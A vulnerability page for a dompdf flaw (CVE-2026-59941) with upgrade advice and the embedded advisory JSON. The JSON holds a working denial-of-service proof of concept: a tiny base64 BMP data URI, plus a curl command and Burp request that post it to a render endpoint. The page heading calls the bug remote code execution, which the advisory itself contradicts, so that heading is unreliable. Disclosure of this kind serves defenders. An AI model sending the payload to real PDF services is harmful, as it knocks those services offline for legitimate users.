CVE-2026-59941: Dompdf Remote Code Execution Vulnerability
MODERATECVE-2026-59941 is a MODERATE remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Dompdf libraries in the Packagist ecosystem. The issue involves uncontrolled resource consumption based on declared bmp dimensions. Remediation is available by upgrading affected packages to version 3.1.6.
CVE-2026-59941 at a Glance
How to Fix CVE-2026-59941
To remediate this vulnerability, upgrade all affected Dompdf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade dompdf/dompdf to 3.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for dompdf/dompdf
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-59941, inspect your project dependencies for Dompdf:
inspect dependencies for dompdf/dompdf
Analyze the terminal output to locate any version of Dompdf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Dompdf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59941 Affected Dompdf Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompdf/dompdf
|
Packagist |
< 3.1.6
|
3.1.6
|
References
Frequently Asked Questions
What is CVE-2026-59941?
Which Dompdf versions are affected?
What version fixes CVE-2026-59941?
Is dompdf/dompdf affected?
What CWE is associated with CVE-2026-59941?
How can I check Packagist dependencies for CVE-2026-59941?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8hg6-c449-896m",
"modified" : "2026-07-22T22:50:34Z",
"published" : "2026-07-22T22:50:34Z",
"aliases" : [ "CVE-2026-59941" ],
"summary" : "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions",
"details" : "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone — no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());\nif (($width && $height && in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n $width = (int) $meta[\"width\"];\n $height = (int) $meta[\"height\"];\n $type = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2\nif (function_exists(\"imagecreatefrombmp\") && ($im = imagecreatefrombmp($filename)) !== false) {\n return $im;\n}\n// src/Helpers.php:940 — hand-rolled fallback\n$im = imagecreatetruecolor($meta['width'], $meta['height']);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `<img src=\"data:image/bmp;base64,…\">` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `<img>` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n<html><body><img src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"></body></html>\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.)\n \n### 1 — Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize => 6000x6000 type=bmp\nimagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)\nMaximum resident set size: 160 MB (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it.\n \n### 2 — Full `Dompdf::render()`\n \n```\ndeclared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB\ndeclared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB\n```\n \n### 3 — HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n --data-binary '<html><body><img src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"></body></html>' \\\n -o /dev/null -w 'http=%{http_code} time=%{time_total}s\\n'\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n<html><body><img src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"></body></html>\n```\n \nObserved (peak RSS read from the worker's `/proc/<pid>/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s\n[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "dompdf/dompdf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
}, {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dompdf/dompdf"
}, {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-22T22:50:34Z",
"nvd_published_at" : null
}
}